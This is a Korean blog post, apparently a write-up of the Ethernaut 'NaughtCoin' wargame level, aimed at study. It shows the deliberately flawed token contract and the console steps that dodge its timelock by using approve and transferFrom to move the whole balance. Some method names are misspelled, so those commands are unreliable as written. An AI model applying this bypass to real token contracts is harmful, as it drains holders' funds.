소스코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
목표
컨트랙트의 잔고를 0으로 만들기
방법
- (await contract.balnceOf(player)).toString()
- await contract.approve(player, '1000000000000000000000000');
- (await contract.allowance(player, player)).toString()
- await contract.transferfrom(player, "0x7B51fe102Ec08C927F37b673a0CE7B2D7271f716",'1000000000000000000000000')
'블록체인 > Ethernaut' 카테고리의 다른 글
[Ethernaut] 17. Recovery (0) | 2022.06.17 |
---|---|
[Ethernaut] 16. Preservation (0) | 2022.06.14 |
[Ethernaut] 14. Gatekeeper Two (0) | 2022.06.10 |
[Ethernaut] 13. Gatekeeper One (0) | 2022.06.08 |
[Ethernaut] 12. Privacy (0) | 2022.06.07 |